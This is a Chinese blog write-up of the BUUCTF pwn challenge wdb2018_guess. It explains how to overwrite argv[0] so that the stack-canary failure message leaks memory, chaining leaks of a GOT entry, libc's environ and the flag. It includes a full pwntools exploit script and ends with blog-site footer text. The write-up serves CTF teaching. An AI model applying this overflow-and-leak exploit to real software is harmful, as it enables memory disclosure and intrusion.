[BUUCTF]wdb2018_guess——Stack smash技巧

一道很有趣的题,算是Stack smash的典型

checksec一下,发现开了Canary,但是没开PIE,大概率需要我们搞定Canary

 Canary的大体机制在这里就不再赘述了,如果你不了解Canary机制,可以去CTF-wiki:Canary - CTF Wiki上去了解。能搜这篇文章的人想必大多都对Canary有所了解,知道Canary会阻止我们的栈溢出攻击,但是我想很多初学者一开始不会注意Canary触发时的错误信息:

 可以看到canary被篡改后,被程序检测到,触发了__stack_chk_fail函数,这个函数会打印报错信息和程序名——即对应main函数的参数:argv[0],这个参数是被保存在栈上的,栈往下稍稍一翻就能看见这个指向程序名的指针。

于是我们就有了个思路,我们可以利用栈溢出漏洞把这个参数给他覆盖成一个地址——这个地址里面有我们想泄露的东西,同时这次溢出还会触发__stack_chk_fail,从而把想要的数据给泄露出来。不过由于__stack_chk_fail之后程序就寄了,所以它只能在有fork函数进行自我复制的程序中使用,或者用它泄露已经读进来的flag。

下面结合本题来讲一下stack smash这个技巧的实战,以标题中的题目:wdb2018_guess为例。

一个很简单的流程,把flag读进来,然后主线程疯狂fork,子线程会让你猜flag,猜flag的时候有个gets栈溢出漏洞,可以溢出到很远的地方。

可以看到最上面很明显有被读进来的flag,从图中也能算出我们写入的数据的起始地址,而在下方r13寄存器下面的指向程序名的即是main的argv[0]参数。我们用gets将其覆盖之后就可以通过触发__stack_chk_fail 实现一个任一地址读。

这里先讲一下fork函数,fork是复制一个完全和原线程一模一样的线程,其子线程的栈/堆/libc的虚拟地址是不变的,这也是我们这个攻击方案的必要条件,关于这一点可以看这位大佬的博客:fork之后子进程到底复制了父进程什么_王小闹儿的博客-CSDN博客_子进程复制了父进程哪些内容这里就不再细说了。

libc中有一个变量environ,储存着栈地址。我们只要得到libc基址,就可以算出这个变量的地址,再次用__stack_chk_fail读取这个变量就可以得到栈的一个地址,就能计算出读进来的flag的地址,从而再次用stack smash读取flag。

(这里得到了栈基址,也可以通过读取栈上存留的用作对照的canary值,来绕过canary,这样应该能拿到shell。这是另一个技巧,今年春杭电Hgame中我记得就有这样一道题。这一题我还没试,以后有机会细说)

exp:

from pwn import *

context.terminal=['tmux','splitw','-h']
r=process('/home/wjc/Desktop/GUESS')
#r=remote('node4.buuoj.cn',29734)
libc=ELF('/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so')
e=ELF('/home/wjc/Desktop/GUESS')

gdb.attach(r,'b*400B28')

puts_plt=e.plt['puts']
puts_got=e.got['puts']

r.recvuntil('Please type your guessing flag')
r.sendline(0x128*'a'+p64(puts_got))
r.recvuntil('*** stack smashing detected ***:')
puts_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print('puts_addr:',hex(puts_addr))
libcbase=puts_addr-0x06f690
print('libcbase:',hex(libcbase))
environ_addr=libcbase+libc.sym['__environ']
print('environ_addr:',hex(environ_addr))

r.recvuntil('Please type your guessing flag')
r.sendline(0x128*'a'+p64(environ_addr))
r.recvuntil('*** stack smashing detected ***:')
stack_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print('stack_addr:',hex(stack_addr))
flag_addr=stack_addr+(0x7ffc767206a0-0x7ffc76720808)
print('flag_addr:',hex(flag_addr))

r.recvuntil('Please type your guessing flag')
r.sendline(0x128*'a'+p64(flag_addr))



r.interactive()

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值